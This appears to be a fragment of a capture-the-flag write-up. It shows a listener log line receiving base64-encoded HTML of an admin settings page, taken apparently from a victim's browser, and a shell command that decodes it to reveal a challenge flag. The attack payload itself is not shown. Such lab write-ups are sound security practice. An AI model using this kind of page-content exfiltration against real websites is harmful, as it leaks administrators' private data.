10.99.0.5 - - [23/Oct/2022 01:35:54] "GET /Cgo8IWRvY3R5cGUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgogIAo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyI+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdGF0aWMvYm9vdHN0cmFwLm1pbi5jc3MiPgoJPHRpdGxlPlNldHRpbmdzIChhZG1pbnVzZXIpPC90aXRsZT4KCgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdGF0aWMvc3R5bGUuY3NzIj4KPC9oZWFkPgoKPGJvZHk+Cgk8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZCBuYXZiYXItZGFyayBiZy1kYXJrIGZpeGVkLXRvcCBweS0wIj4KCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQk8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSIvIj5PcmRlcmx5PC9hPgoJCQk8YnV0dG9uIGNsYXNzPSJuYXZiYXItdG9nZ2xlciIgdHlwZT0iYnV0dG9uIiBkYXRhLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtdGFyZ2V0PSIjbmF2YmFyUmVzcG9uc2l2ZSIgYXJpYS1jb250cm9scz0ibmF2YmFyUmVzcG9uc2l2ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtbGFiZWw9IlRvZ2dsZSBuYXZpZ2F0aW9uIj48c3BhbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXItaWNvbiI+PC9zcGFuPjwvYnV0dG9uPgoJCQk8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZiYXJSZXNwb25zaXZlIj4KCQkJCTx1bCBjbGFzcz0ibmF2YmFyLW5hdiBtbC1hdXRvIj4KCQkJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9vcmRlci9hZGQiPkFkZDwvYT48L2xpPgoJCQkJCTwhLS0gYmVnaW4gb25seSBhZG1pbnMgLS0+CgkJCQkKCQkJCQk8IS0tIGVuZCBvbmx5IGFkbWlucyAtLT4KCQkJCQoJCQkJCTxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL29yZGVyL3Byb2Nlc3MiPlByb2Nlc3M8L2E+PC9saT4KCQkJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9sb2dvdXQiPkxvZ291dDwvYT48L2xpPgoJCQkJCgkJCQk8L3VsPgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvbmF2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCTxkaXY+CgkJCgkJCgkJCgkJPC9kaXY+CgoJCQo8aDE+U2V0dGluZ3M8L2gxPgo8c3BhbiBpZD0iZmxhZyI+RkxBR3s5UVZFLTBtaXctcW53bS1FUjltfQo8L3NwYW4+CgogICAgICAgIDwvZGl2PgoKCTxzY3JpcHQgc3JjPSIvc3RhdGljL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii9zdGF0aWMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4= HTTP/1.1" 404 -
shell
echo -n 'Cgo8IWRvY3R5cGUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgogIAo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KCTxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgc2hyaW5rLXRvLWZpdD1ubyI+Cgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdGF0aWMvYm9vdHN0cmFwLm1pbi5jc3MiPgoJPHRpdGxlPlNldHRpbmdzIChhZG1pbnVzZXIpPC90aXRsZT4KCgk8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdGF0aWMvc3R5bGUuY3NzIj4KPC9oZWFkPgoKPGJvZHk+Cgk8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZCBuYXZiYXItZGFyayBiZy1kYXJrIGZpeGVkLXRvcCBweS0wIj4KCQk8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCQk8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIiBocmVmPSIvIj5PcmRlcmx5PC9hPgoJCQk8YnV0dG9uIGNsYXNzPSJuYXZiYXItdG9nZ2xlciIgdHlwZT0iYnV0dG9uIiBkYXRhLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtdGFyZ2V0PSIjbmF2YmFyUmVzcG9uc2l2ZSIgYXJpYS1jb250cm9scz0ibmF2YmFyUmVzcG9uc2l2ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtbGFiZWw9IlRvZ2dsZSBuYXZpZ2F0aW9uIj48c3BhbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXItaWNvbiI+PC9zcGFuPjwvYnV0dG9uPgoJCQk8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZiYXJSZXNwb25zaXZlIj4KCQkJCTx1bCBjbGFzcz0ibmF2YmFyLW5hdiBtbC1hdXRvIj4KCQkJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9vcmRlci9hZGQiPkFkZDwvYT48L2xpPgoJCQkJCTwhLS0gYmVnaW4gb25seSBhZG1pbnMgLS0+CgkJCQkKCQkJCQk8IS0tIGVuZCBvbmx5IGFkbWlucyAtLT4KCQkJCQoJCQkJCTxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL29yZGVyL3Byb2Nlc3MiPlByb2Nlc3M8L2E+PC9saT4KCQkJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9sb2dvdXQiPkxvZ291dDwvYT48L2xpPgoJCQkJCgkJCQk8L3VsPgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvbmF2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoJCTxkaXY+CgkJCgkJCgkJCgkJPC9kaXY+CgoJCQo8aDE+U2V0dGluZ3M8L2gxPgo8c3BhbiBpZD0iZmxhZyI+RkxBR3s5UVZFLTBtaXctcW53bS1FUjltfQo8L3NwYW4+CgogICAgICAgIDwvZGl2PgoKCTxzY3JpcHQgc3JjPSIvc3RhdGljL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgoJPHNjcmlwdCBzcmM9Ii9zdGF0aWMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CjwvYm9keT4KCjwvaHRtbD4=' | base64 -d - > flag.html

And I got the flag :)